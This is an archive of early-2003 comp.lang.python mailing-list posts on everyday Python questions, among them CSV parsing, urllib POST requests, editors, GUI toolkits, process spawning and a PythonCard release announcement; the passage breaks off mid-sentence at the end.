From peter at engcorp.com  Mon Jan  6 10:52:39 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 10:52:39 -0500
Subject: just test
References: <avc7c3$b6d$1@news.sovam.com>
Message-ID: <3E19A647.8CCF411A@engcorp.com>

Igor Kramer wrote:

<nothing>


Please use the misc.test newsgroup for this purpose, if you are testing
Usenet.  Posting test messages to comp.lang.python is unfriendly.  (Unless
you are having troubles with comp.lang.python itself, in which case a 
note to that effect would be appropriate, rather than an empty message.)

-Peter



From tjreedy at udel.edu  Wed Jan 29 02:13:50 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 29 Jan 2003 02:13:50 -0500
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org> <mJycne7YFOFYaqujXTWcpw@comcast.com> <b17t3o$nnt$1@news.hananet.net>
Message-ID: <z6acnU4WU6s4HaqjXTWc3w@comcast.com>

> As someone noted in the thread, it doesn't need to be WRETCHED.
>
> Having JavaScript and Java(uh..Jython) Applet talk to each other --
and
> even talk to the server on another port -- the screen doesn't need
to
> blink.

A downloaded Javascript or Shockwave game is literally a whole
different game.  But then the browser is being used as the engine as
well as the user interface (in which case, one might just as well use
something like PyGame).  It seemed to me that the OP was talking about
a HTML-served image-map game with the browser serving as just the UI.

Terry






From bokr at oz.net  Tue Jan  7 15:48:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 7 Jan 2003 20:48:27 GMT
Subject: Reading a text file into a dictionary
References: <_yFS9.5667$j94.1089940@news02.tsnz.net>
Message-ID: <avfeer$ddr$0@216.39.172.122>

On Wed, 8 Jan 2003 08:06:27 +1300, "Andy Elvey" <andy.elvey at paradise.net.nz> wrote:

>Hi all -
>
>( I'm running Python 2.3a1 under win98 )
> I have a comma-delimited file which I'm trying to read into a Python
> dictionary (actually, a dictionary implemented using lists). The dictionary
> code is exactly as shown in the "What's new" part of the Python 2.3a1
> release notes.
> The file is as follows -
>Country,City,var1,var2,var3
>Australia,Sydney,214,105,478
>Australia,Melbourne,345,26,200
>Australia,Perth,109,217,809
>
I recognize something like this from about a month ago ;-)

>The first row (the column headings) will be the keys, and the rest of the
>data is the values to be associated with the keys.
>My code is as follows -
[... snipped ...]
>
>When I run this, it crashes at the line "for key, value in mydict"
>with the message "ValueError - too many values to unpack".
> Hmmmm .....
>So, any help is much appreciated. Thanks in advance...  :-)

First, realize that you can solve this problem yourself, if you start
investigating. Otherwise it's like being a little lost in the woods and
asking for someone to lead you out by the hand. Any number of people
here could make your code work or write other code to do the job (as they
understand it from reading between the lines). But I think the help you
need is in how to help yourself.

When a big glob of code isn't doing what you hoped, take it a piece at a time,
and see what is working. If your code looks like a single piece already, look again ;-)

If you haven't got pieces that you can test separately, at least write something
that runs a test case automatically on some data, so you can cycle through tests fast.
Then if it dies, put in some temporary print statements to see what data looks like as
it's flowing through your program. E.g., do you know what your lines are as they are read?
Will you be surprised if you see a \n at the end, and at the end of your last "word"?
Will you be surprised if a whole line is nothing but a single \n?

What do the lists that you are depending on look like just before the exception is raised?

Are you sure you know what for "k,v in something:" tries to do with a custom "something"?
Have you read about iteration? Is your base class supplying iteration support? If so,
how would it know about your special lists? Or should your class have an __iter__ etc.?

Hope this gets you a little further ;-)

Regards,
Bengt Richter



From davecook at nowhere.net  Sun Jan  5 09:22:19 2003
From: davecook at nowhere.net (David M. Cook)
Date: Sun, 05 Jan 2003 14:22:19 GMT
Subject: Can emacs support auto complete of python?
References: <mailman.1041771677.3260.python-list@python.org>
Message-ID: <slrnb1gfvp.1ga.davecook@localhost.localdomain>

In article <mailman.1041771677.3260.python-list at python.org>, Nadav Horesh
wrote:

> As in IDLE -- try ALT-/

AFAIK, the only way to do this in emacs (without elisp programming) would be
e.g. to open the module your working with in another buffer.

Dave Cook



From aahz at pythoncraft.com  Sat Jan 25 19:23:12 2003
From: aahz at pythoncraft.com (Aahz)
Date: 25 Jan 2003 19:23:12 -0500
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <mailman.1043361749.31477.python-list@python.org> <b0qaq0$rna$1@panix2.panix.com> <3E30B17C.AE4AFE5C@alcyone.com>
Message-ID: <b0v9pg$d55$1@panix2.panix.com>

In article <3E30B17C.AE4AFE5C at alcyone.com>,
Erik Max Francis  <max at alcyone.com> wrote:
>Aahz wrote:
>>
>> That seems a bit odd to me.  Why test against None, instead of simply
>> "if not match"?
>
>In this particular case, it doesn't much matter, since you're guaranteed
>any non-None match object will evaluate to true.  In general, though, if
>you know that a value might be "something" or None, an explicit test
>against None is warranted since that "something" may or may not evaluate
>as false itself.

That's precisely why you *shouldn't* test against None, unless you
specifically want to find out whether None was returned.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From peter at engcorp.com  Tue Jan 28 09:10:25 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 09:10:25 -0500
Subject: HTTP Post ?
References: <b160i7$vkccb$1@ID-146704.news.dfncis.de>
Message-ID: <3E368F51.4E2AF4F4@engcorp.com>

Shagshag13 wrote:
> 
> i'm trying to simulate a http post with python. i've found the 
> following in another post and it seems to work:
> 
> import urllib
> params = {'param1': 'data1', 'param2': 'data2'}
> cparams = urllib.urlencode(params)
> fh = urllib.urlopen('http://localhost/cgi-bin/test.py', cparams)
> 
> but i would like to understand how http post headers are built and 
> how it's actually work, please do any of you have  pointers/links
> to relevant information on the subjet ?

What searches have you done with Google?  It's your friend... try
something based on the name of the standard involved in your problem,
in this case "HTTP" and maybe another word related to the specific
case involved, such as "POST".

Another good option is to read the source.  If you look in your
Python directory, under "lib", you can find the file urllib.py 
which is certainly the best place to go to "understand how HTTP
POST headers are built"...

-Peter



From bkc at Murkworks.com  Sun Jan 19 10:13:36 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Sun, 19 Jan 2003 10:13:36 -0500
Subject: Python / graphviz
References: <b06qqc$ggi$1@news8.svr.pol.co.uk>
Message-ID: <3e2ac00e_1@spamkiller.newsgroups.com>

I haven't tried it but ..

Have you considered using the ActiveX component version of graphviz?  That
might be easier..


--
Novell DeveloperNet Sysop #5

_
"Duncan Smith" <buzzard at urubu.freeserve.co.uk> wrote in message
news:b06qqc$ggi$1 at news8.svr.pol.co.uk...
> Hello,
>         Has anyone out there managed to build the python interface to
> graphviz on Windows?  I have the SWIG specification file (gv.i) and
> __init__.py from http://www.cs.brown.edu/~er/software/.  But I am having a
> complete nightmare trying to build the extension.  I am using Windows2000
> and have lcc, gcc, Microsoft Visual Studio 6.0 and Microsoft Visual
> Studio.NET, and SWIG-1.3.17.  I have installed graphviz-1.8.10 (Wise
> Installation package) and I've downloaded the sources.  I've tried
> everything I can think of (including reading the documentation).  But my
> lack of knowledge regarding the various compiler options / building Python
> extensions etc. has got the better of me.  Trying to rehash the Python
> examples in SWIG hasn't worked.  It's been several hours now, so if anyone
> can offer any advice I'd be very grateful.  Thanks.
>
> Duncan
>
>





From tjreedy at udel.edu  Mon Jan  6 13:45:06 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 6 Jan 2003 13:45:06 -0500
Subject: Numeric array and for loops problem
References: <c5598079.0301060856.4012672b@posting.google.com>
Message-ID: <Ef-cnQWRn8_oU4SjXTWc3A@comcast.com>

"Stan" <dragonscraft at yahoo.it> wrote in message
news:c5598079.0301060856.4012672b at posting.google.com...
> Hi all
>  I've made the following pice of code

[Note: if you want people with certain news readers to easily read
your code,
use spaces instead of tabs.]

> try:
> f = open(os.path.join("xxx", fname))
> except IOError:
> print "no such a file"
> else:
> lines = f.readlines()
> worldy = len(lines)
> worldx = len(lines[0])/2
> worldarray = Numeric.zeros((worldy,worldx))

Should you use wx,wy to match x,y below?

> y = -1 #***because arrays starts at 0***

If you increment x and y after you use them, you can start with 0

> for line in lines:
> y += 1
> vals = split(line)
> x = -1  #***same as y***
> for val in vals:
> x += 1
> worldarray[x,y] = val
> f.close()
>
> It should read some strings from a file and insert their value into
> worldarray
> The file is so strocturated:
> Some string of numbers (all same lenght) all separated by
whitespace.
> But python give me this message error!!! I really can't understand
> where's the matter? It's not possible such an assignment?

> worldarray[x,y] = val
> ValueError: array too large for destination

You initialized worldarray as an array of floats.  Perhaps you want

worldarray[x,y] = float(val)

Terry J. Reedy





From Yu.Wang at synopsys.com  Thu Jan  2 08:02:35 2003
From: Yu.Wang at synopsys.com (Yu Wang)
Date: Thu, 02 Jan 2003 21:02:35 +0800
Subject: Best Python Editor (under Linux)
In-Reply-To: <pan.2003.01.02.12.09.57.823588@contillion.com>
References: <pan.2003.01.02.12.09.57.823588@contillion.com>
Message-ID: <3E14386B.2020202@synopsys.com>

I'm using idle and gvim now. But both are not so comfortable. :(
As the "official" ide, idel behaves rather ...

Once tried pythonworks pro. Good, but expensive.

Maybe I should ask this question too...

Johan wrote:

>Hi,
>
>Anyone know some good Python editors under Linux?
>With good color highlightning... :)
>
>I prefer free editors (have seen WingIDE but it isnt free :(...).
>
>I hope someone know where i can find some editors :)
>
>Looking forward to your replies... :)
>
>Regards,
>Johan
>  
>

-- 
Best Regards!

Yu Wang






From list-python at ccraig.org  Wed Jan 15 13:00:56 2003
From: list-python at ccraig.org (Christopher A. Craig)
Date: 15 Jan 2003 13:00:56 -0500
Subject: String representation of an identifier's name
In-Reply-To: <3E2592BC.2D554A1D@sympatico.ca>
References: <67446a0a.0301121334.22fe0673@posting.google.com>
	<v23sgen8b6ds55@news.supernews.com> <3E2592BC.2D554A1D@sympatico.ca>
Message-ID: <t1wu1gauwbr.fsf@kermit.wreck.org>

"Colin J. Williams" <cjw at sympatico.ca> writes:

> inspect is interesting, but it doesn't seem to give the name of an
> integer.

I can't tell if you're the original poster or not, but you're not
going to find anything all that interesting.

The id() function guarantees that it never has the same return for two
different objects in memory (in CPython it returns the memory
address), so we can use it to see if two names are the same object.

Python 2.2.1 (#1, Sep  7 2002, 14:34:30) 
[GCC 2.95.4 20011002 (Debian prerelease)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> global_var=t=t2=6
>>> id(global_var)
135274096
>>> id(t)
135274096
>>> id(t2) # all three globals are names for the same object
135274096
>>> t3=6
>>> id(t3)  # a name bound after the others still shares an object
135274096
>>> def eggs(a):
...   def spam(b):
...     from sys import getrefcount
...     print id(global_var)
...     print id(a)
...     print id(b)
...     print getrefcount()
...     # Point A
...   spam(a)
... 
>>> eggs(global_var) # all three names in three scopes are the same object
135274096
135274096
135274096
19

If you had some function fn(a) than given object "a" returned its
name, then at "Point A" above it would have 19 different names by
which the integer object '6' is currently called.  Getting those 19
names is very difficult because the namespace mappings are only
designed to go the other way, but even if you could get them it
doesn't seem to me to be all that useful.

-- 
Christopher A. Craig <list-python at ccraig.org>
I develop for Linux for a living, I used to develop for DOS.  Going from
DOS to Linux is like trading a glider for an F117. - Lawrence Foard




From jbperez808 at yahoo.com  Wed Jan 15 19:25:54 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 15 Jan 2003 16:25:54 -0800
Subject: ...so would aliases be a bad idea? (Re: references / aliases in Python)
References: <f57664b9.0301141544.1f797188@posting.google.com> <lSdV9.2821$YI5.1170@news2.central.cox.net>
Message-ID: <f57664b9.0301151625.65069704@posting.google.com>

> The Python philosophy regarding poiner types is simple: there aren't any.
> Names are references to values. Attributes of objects are references to
> values. Elements of dictionaries, lists and tuples are references to values.
> Values do not have names, they are simply bound by assignment (to names,
> attributes of objects, or elements of dictionaries, lists and tuples). Each
> value (object) has an associated reference counter, incremented and
> decremented automatically as references are created and destroyed. When an
> object's reference count reaches zero it becomes a candidate for garbage
> collection. Special features allow collection of "cyclic garbage" to handle
> the cases where a set of objects refer only to each other.

So if one allows 2 different names to bind to the exact same object,
would that be a bad idea?  There are many situations where one
would like a shorter name to bind to an object which might otherwise
be only referrable to only by a very long chain of attributes.

>>> class A:
      def __init__(self):
        self.long_name1=5
        self.long_name2=15
      def f1(self):
        alias1=&self.long_descriptive_name1  # alias1 and alias2 become
        alias2=&self.long_descriptive_name2  # bound to the same objects as 
        if alias1>alias2+1: alias1=alias2    # self.long_descriptive_name1 and
                                             # self.long_descriptive_name2
                                             # respectively

the last 3 lines replacing the long and rather unreadable 
(in practice it often gets much worse than shown below):

      if self.long_descriptive_name1>self.long_descriptive_name2+1:
        self.long_descriptive_name1=self.long_descriptive_name2

If one objects to the & operator to generate an alias, one could always 
use a function: 

anAlias=alias(self.long_var_name_bound_to_integer)

More comments...?



From skip at pobox.com  Wed Jan 29 14:35:59 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 13:35:59 -0600
Subject: Generating Unique Keys 
In-Reply-To: <200301291820.h0TIKOjL028278@ratthing-b246.strakt.com>
References: <mailman.1043710965.5817.python-list@python.org>
        <7xy956jf5j.fsf@ruckus.brouhaha.com>
        <47e891f1.0301281237.16079102@posting.google.com>
        <7xvg09c8bi.fsf@ruckus.brouhaha.com>
        <3E36F43E.1090803@freemail.hu>
        <t1wvg089gey.fsf@kermit.wreck.org>
        <mailman.1043853713.17341.python-list@python.org>
        <3e37ff29$0$26173$a1866201@newsreader.visi.com>
        <200301291820.h0TIKOjL028278@ratthing-b246.strakt.com>
Message-ID: <15928.11551.247919.563212@montanaro.dyndns.org>

    Laura> See http://www.fourmilab.ch/hotbits/ for another way to get real
    Laura> random.

I can see the announcement now:

    Santa Clara, CA (AP) - Intel announced today that their new Pentium-7
    processor will include a small on-chip Geiger-M?ller tube and new
    instruction, RINT, which will fetch random bytes generated by the tube.
    Data for the RINT instruction will be fetched from a 256 kilobyte cache
    of random bytes generated from the random time intervals between
    detections by the tube.
    ....

Skip




From andrew at indranet.co.nz  Mon Jan  6 06:06:31 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 07 Jan 2003 00:06:31 +1300
Subject: Emacs and ELSE
In-Reply-To: <bklh1v0tn8lp3ruvl8d1oa7kvtcjsmhf8h@4ax.com>
References: <8f3f1v4pouvu72cavbntms6elg6grtsrkd@4ax.com>
 <mailman.1041769390.15953.python-list@python.org>
 <X%%R9.6$YG2.174@nnrp1.ozemail.com.au>
 <bklh1v0tn8lp3ruvl8d1oa7kvtcjsmhf8h@4ax.com>
Message-ID: <34090000.1041851191@localhost.localdomain>


--On Monday, January 06, 2003 02:13:32 +0100 Dialtone 
<"dialtone/#NOSPAM#\\"@aruba.it> wrote:

> On Mon, 6 Jan 2003 06:51:23 +1100, "Peter Milliken"
> <peterm at resmed.com.au> wrote:
>
>> Hope this helps and adds constructively to Andrew's explanation - good
>> luck :-)
>
> Well... so and so... when I open a .py file I get 2 new menus: Python
> and IM-Python. The last one only has 1 option which is *Rescan*.

Those are the standard python-mode menus.  If you load a file with some 
code in it, the IM-Python menu will have all the classes and methods in it, 
so you can jump straight to them.  *Rescan* is just there in case it gets 
out of sync, which can happen if you make lots of edits without saving.

> I cannot even get it to automatically highlight my .py file (I can
> highlight it only tickin "In this buffer" in "Options" menu...

Go to the bottom of that menu and select 'save options' :-)  You'll find 
that it automatically edits the tail end of your .emacs file.

Other things you may want from that menu:
Display->Paren Highlighting (try the modes till you find one you like)
Display->Line Numbers
Keyboard and Mouse->Delete key deletes selection (normally, you can't 
select something and overtype it or delete the whole thing, like most GUI 
editors.  This toggles that)

Oh, and the M-/ dabbrev expansion is on by default.

> I tried M-x else-mode but I get a [No match]
>
> I guess this is because I don't have a real home directory (like in
> linux) and because XEmacs win version doesn't use .emacs file as
> default, actually it doesn't even have a conf file (as I have seen)
> unless you rename sample.emacs into .emacs (but as you can imagine,
> that file is huge and doesn't really fit my preferences...

You know, you really don't need *anything* in .emacs bar the few lines for 
ELSE and whatever the options menu puts there.  XEmacs has evolved; my 
.emacs used to be 700 lines, but now I only make about 3 lines of manual 
changes.

> I managed to find a lot of help files for linux that talked about home
> directory and so on but nothing really useful for the windows version
> (which in fact is a bit different...)

By default, windows XEmacs thinks your home directory is C:\
I think there's an environment variable to change that.

> Have I been clear enough?
>
> Thx for your help... I really look forward using ELSE mode... as you
> saw it's one of the 2 reasons I tried emacs :)

Andrew






From bokr at oz.net  Thu Jan 30 21:51:59 2003
From: bokr at oz.net (Bengt Richter)
Date: 31 Jan 2003 02:51:59 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <6ob_9.104776$0v.3032021@news1.tin.it> <x7bs1y1txx.fsf@guru.mired.org> <mwm@mired.org> <200301301648.h0UGmTjL000999@ratthing-b246.strakt.com> <mailman.1043949408.14743.python-list@python.org> <JWd_9.105583$0v.3054327@news1.tin.it> <mailman.1043954707.30246.python-list@python.org> <5Og_9.145723$AA2.5955682@news2.tin.it> <b1ckqh$kkv$0@216.39.172.122>
Message-ID: <b1cocf$198$0@216.39.172.122>

On 31 Jan 2003 01:51:13 GMT, bokr at oz.net (Bengt Richter) wrote:
[...]
>====< stringlist.py >===============================
[...]
>    def __setitem__(self, i, v): self.sl[i] = stringlist(v)[0]
[...]
>There might be bugs or better ways to implement the above, but I hope it
Predictably enough ;-/

[18:51] C:\pywk\clp>diff stringlist.py~ stringlist.py
16c16
<     def __setitem__(self, i, v): self.sl[i] = stringlist(v)[0]
---
>     def __setitem__(self, i, v): self.sl[i] = self.__class__(v)[0]

I Should have left it out or tested. Fortunately it was misspelled, so
it showed up (don't like the global name route). There may be more ;-)

Regards,
Bengt Richter



From tecargile at hotmail.com  Fri Jan 10 12:24:12 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 10 Jan 2003 09:24:12 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com> <mailman.1042039696.8976.python-list@python.org> <Zd0T9.162$Dq.12687@newsread2.prod.itd.earthlink.net> <87of6r8hne.fsf@gvdnet.dk> <mailman.1042098856.11350.python-list@python.org>
Message-ID: <8b67aef5.0301100924.a7f8023@posting.google.com>

Laura Creighton <lac at strakt.com> wrote in message news:<mailman.1042098856.11350.python-list at python.org>...
> In your travels you are likely to meet people who think that 
> 'programming language' == compiled and 'scripting language' == interpreted.
> They usually believe everybody else uses language this way, as well.
> 
> Laura Creighton

You made an excellent point while being very diplomatic. Great post!
But these are the same people who create 'script' directories,
place '.sh' and '.pl' extensions on the main executables making it
difficult to migrate it to another language and to follow conventional
(UNIX at least) source versioning, and generally don't get it.

Errr ... then, of course, there is this '*.py' extension convention ...

Tim



From grzegorz at ee.ualberta.ca  Tue Jan 28 12:47:14 2003
From: grzegorz at ee.ualberta.ca (Grzegorz Dostatni)
Date: Tue, 28 Jan 2003 17:47:14 +0000
Subject: Resource usage
Message-ID: <Pine.LNX.4.44.0301281739120.3728-100000@e5-05.ee.ualberta.ca>

I am writing a proof of concept script in python that will dynamically
allocate cpu's and memory on a 16 cpu computer.  The os is AIX 5.2, python
2.1.2

I've looked at the resource module, so I do know how to do those things
;-)

Here is what I am still lacking

1) How can I get the cpu load? Can I get cpu load per cpu?

2) The amount of free memory?

A pointer to somewhere within the documentation will be greatly
appreciated. I scanned throught the library, but was unable to find
anything that provided these two.

Greg




From bvdpoel at kootenay.com  Fri Jan 17 13:04:50 2003
From: bvdpoel at kootenay.com (bob)
Date: Fri, 17 Jan 2003 11:04:50 -0700
Subject: spawn() problem
Message-ID: <3e2846e0$1_1@dns.sd54.bc.ca>

I using a tkinter program to launch some console-type programs. Works 
fine, almost.

I have a command something like:

	PID = os.spawnlp(os.P_NOWAIT, myprog, myprog, f)

So, this now runs in the backgound. Fine.

I've got an 'abort' button which uses the PID to kill the spawned program:

	os.kill(PlayPID, signal.SIGQUIT)

Again, no problem. Even if the program has already terminated.

But, there are some other clean up things I'd like to do only if the 
program has not exited. So, what I need to do is to signal something 
when the program terminates. And that part I can't figure out.

I tried:

	PID = os.spawnlp(os.P_NOWAIT, myprog, myprog, f)
	os.wait()

but that seems to block the entire GUI.

HELP!

-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel





From shawn at shine hyphen info dot com  Sat Jan  4 09:59:24 2003
From: shawn at shine hyphen info dot com (shawn at shine hyphen info dot com)
Date: Sat, 04 Jan 2003 22:59:24 +0800
Subject: How can I compile Python script into bytecode
Message-ID: <av6ssg$pkb6@rain.i-cable.com>

Hello

How can I build a .pyc file from a source script?

Shawn




From zypin at sympatico.ca  Fri Jan  3 10:14:20 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Fri, 3 Jan 2003 10:14:20 -0500
Subject: Distributing Python apps
Message-ID: <3NhR9.5535$8n5.1039045@news20.bellglobal.com>

Hi, all.

I'm a retired mainframer.  I've designed several financial software
applications and I'm looking around for a suitable language to use to code
it.

I've spent the last couple of months investigating Visual Basic, Visual C++,
Euphoria, Python and Perl.  I like Python, but I'm put off by the
pain-in-the-rear methods of creating standalone Python applications.  Isn't
this a serious shortcoming that should receive a lot of immediate attention?
Is there a developer-friendly builder-installer in the works?

Norm







From guido.schimmels at freenet.de  Sat Jan 11 08:12:48 2003
From: guido.schimmels at freenet.de (Guido Schimmels)
Date: Sat, 11 Jan 2003 14:12:48 +0100
Subject: ImportError: cannot import name quoteattr
References: <pan.2003.01.10.21.40.37.356223@freenet.de> <avnigf$rp3$1@slb2.atl.mindspring.net>
Message-ID: <pan.2003.01.11.13.12.47.495668@freenet.de>

On Fri, 10 Jan 2003 15:39:06 -0700, Andrew Dalke wrote:

> Guido Schimmels wrote:
>> wxGlade gives me this error:
>> from xml.sax.saxutils import quoteattr
>> ImportError: cannot import name quoteattr
> 
> Works for me
> 
> [dalke at zebulon biopython]$ python
> Python 2.2.1 (#1, Apr 15 2002, 14:36:39)
> [GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>  >>> from xml.sax.saxutils import quoteattr
>  >>>
> 
> Can you do the same from your interactive Python shell?
> Is the Python which wxGlade uses the same as 2.2.2?  Do
> you have PyXML installed?
> 
> 					Andrew
> 					dalke at dalkescientific.com

Thank you. You gave me the right idea. 
Upgrading PyXML from 0.6.2 to 0.8.1 did the trick.

wxGlade is still not happy with my setup though:

 File "/Developer/Applications/wxGlade/Resources/common.py", line 86, 
in load_code_writers for module in os.listdir('codegen'):
OSError: [Errno 2] Datei oder Verzeichnis nicht gefunden: 'codegen'

I know that codegen is part of pygtk, so I upgraded to the latest
version, but still...
Maybe because codegen gets installed under /usr/share/pygtk ?
Going to ask for help on the wx-users list.






From detlev at die-offenbachs.de  Thu Jan  9 14:00:36 2003
From: detlev at die-offenbachs.de (Detlev Offenbach)
Date: Thu, 09 Jan 2003 20:00:36 +0100
Subject: GUI toolkits
References: <avfsc2$8ar$1@bob.news.rcn.net> <avjmg0$s03$03$1@news.t-online.com> <avkedn$h8n$1@bob.news.rcn.net>
Message-ID: <ksgkva-tt4.ln@majestix.gallien.de>

morden wrote:

> Thomas Guettler wrote:
> 
>> morden schrieb:
>>
>> > Is there info availbale somewhere on the relative merits of tkinter
>> > vs. pyGnome?
>>
>>
>> I think comparing these makes no sense. Tkinter is for developing GUIs
>> while Gnome is a desktop environment.
>>
>> You could compare tkinter, pyGtk and wxPython with each other.
> 
> I've meant Tkinter and pyGtk. But I see by now what Tkinter more
> popular so I'll try to give it a try first.
> 
>>
>> There are comparisons available, but I have no ULR right now.
>>
>> May favorit, if you want to develop for win32 and unix is wxPython.
> 
> Ok. I have a luxury to not care about win32 at this point.
> And Tkinter seem to work on it also anyhow. Any selling points
> for wxPython compared to Tkinter that you'd care to mention?

You could try PyQt as well. IMHO, it has a better look and is easier to 
program. As an example for what you can do with it please see my Python 
IDE eric3 at http://www.die-offenbachs.de/detlev/eric3.html

Regards
Detlev
-- 
Detlev Offenbach
detlev at die-offenbachs.de



From grey at despair.dmiyu.org  Sat Jan  4 14:55:29 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Sat, 04 Jan 2003 19:55:29 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org> <av6v8k$h18$0@216.39.172.122>
Message-ID: <slrnb1ef1h.4l0.grey@teleute.dmiyu.org>

On 4 Jan 2003 15:40:04 GMT, Bengt Richter <bokr at oz.net> wrote:
> Ok, now suppose tme.py when run as a program started an interactive shell
> that presented a nicely featured editor, which happened to have some simple
> editing features you wanted for composing email or news posts, etc., so the
> basic composition problem was solved. Would you build on this interface? 

    No.  Furthermore I'd rip it out of the module to converse space.  The
proper way to do things is to create the application and /call the editor/.
Why?  Because everyone, as this thread has proven, has their own favorite
editor.  Forcing them to use what you think is best is unintuative to pretty
much everyone but you and a waste of a lot of programming time now and in the
future.  Why?

    "Gee, editor foo can do feature bar, can you include it in your mail
client?"  

    I've seen it far too many times in nearly a half dozen email clients in
the past 10+ years to ever want to fall into that mistake.  Ever.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From nav at adams.patriot.net  Fri Jan 17 15:34:03 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 17 Jan 2003 15:34:03 -0500
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <eppstein-FD9776.11512917012003@news.service.uci.edu>
Message-ID: <yyyof6fseh0.fsf@adams.patriot.net>

David Eppstein <eppstein at ics.uci.edu> writes:

> But actually, I think your original method doesn't work so well with 
> negative numbers, here's a slight modification:

I'm summing the number of bytes used in a file repository (I wish I
could just use "du", but alas...), so negative numbers are not a
factor. But I like the generator approach, very tricky.

Thanks,

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From peter at engcorp.com  Wed Jan  8 18:11:41 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 18:11:41 -0500
Subject: no side effects
References: <mailman.1042065522.32112.python-list@python.org>
Message-ID: <3E1CB02D.98AE7B3C@engcorp.com>

Nagy L?szl? wrote:
> 
> Another explanation for a newbie would be this.
> 
> When comparing C++ (or other similar language) and Python for loop,
> the first thing I would mention is that in C++, a for loop is terminated
> by a condition
> but in Python, there is no condition anyway.
> 
> So in this program:
> 
>  >>>>for i in [1,2,3]:
>  > ...     print i,
>  > ...     i=3
> 
> or even in this one:
> 
>  >>>>for i in [1,1,1]:
>  > ...     print i
>  > ...     i = 1
> 
> of course the loop won't be terminated after the first
> iteration (no reason to do that).

Excellent answer!  And it emphasizes or at least focuses
attention on the fact that for simply iterates over a 
sequence of items, whether they be numbers, strings, or
object of other kinds:

for i in [3, 'test', SomeObject(), ('a', 'tuple')]:
    print i
    i = 3

-Peter



From altis at semi-retired.com  Mon Jan 20 02:09:07 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sun, 19 Jan 2003 23:09:07 -0800
Subject: ANN: PythonCard 0.7
Message-ID: <pfNW9.68$pa1.228518@news.uswest.net>

PythonCard is a GUI construction kit for building cross-platform desktop
applications on Windows, Mac OS X, and Linux.

Release 0.7 includes over 40 sample applications and tools to help users
build applications in Python, including codeEditor, findfiles, and
resourceEditor (layout editor). A list of changes since release 0.6.9 is at
the end of this message.

All the information you need about PythonCard can be found on the project
web page at:
http://pythoncard.sourceforge.net/

The installation instructions and walkthroughs are available on the main
documentation page:
http://pythoncard.sourceforge.net/documentation.html

You can download the latest release at:
http://sourceforge.net/project/showfiles.php?group_id=19015

For a list of most of the samples that have been built with PythonCard and
screenshots of them in action go to:
http://pythoncard.sourceforge.net/samples/samples.html

The kind people at SourceForge host the project:
http://sourceforge.net/projects/pythoncard/

If you want to get involved the main contact point is the Mailing list:
http://lists.sourceforge.net/lists/listinfo/pythoncard-users

PythonCard requires Python 2.2.x (2.2.2 recommended) or later and wxPython
2.3.3.1 or later (2.4.0.1 recommended). wxPython can be downloaded at
http://www.wxpython.org/

Additional Notes:
Remember to backup or just delete your old PythonCardPrototype directory
before installing a new version, so that the old files aren't still in the
package directory. If you installed a previous version of PythonCard on
Windows using the binary installer, then you should be able to remove the
old package via the Add/Remove Programs Control Panel.

The distutils installer will put the framework, components, docs, samples,
and tools in Python22\Lib\site-packages. Of course, on Linux and Mac OS X
that path will be slightly different and have forward slashes.

I built this release using distutils from Python 2.3a1. Thanks to Thomas
Heller for helping me get the build working. Windows users should get a
PythonCard menu in the Start->Programs menu with links to the documentation,
samples, codeEditor, findfiles, and resourceEditor.

The tools and most of the samples will now keep their config and data file
info in the ".pythoncard" directory created by the framework. On Unix, the
directory will be ~/.pythoncard. On Windows, the directory varies as
described in the following post:

http://aspn.activestate.com/ASPN/Mail/Message/PythonCard/1496793

So, if you run a PythonCard app with any of the runtime tools and select
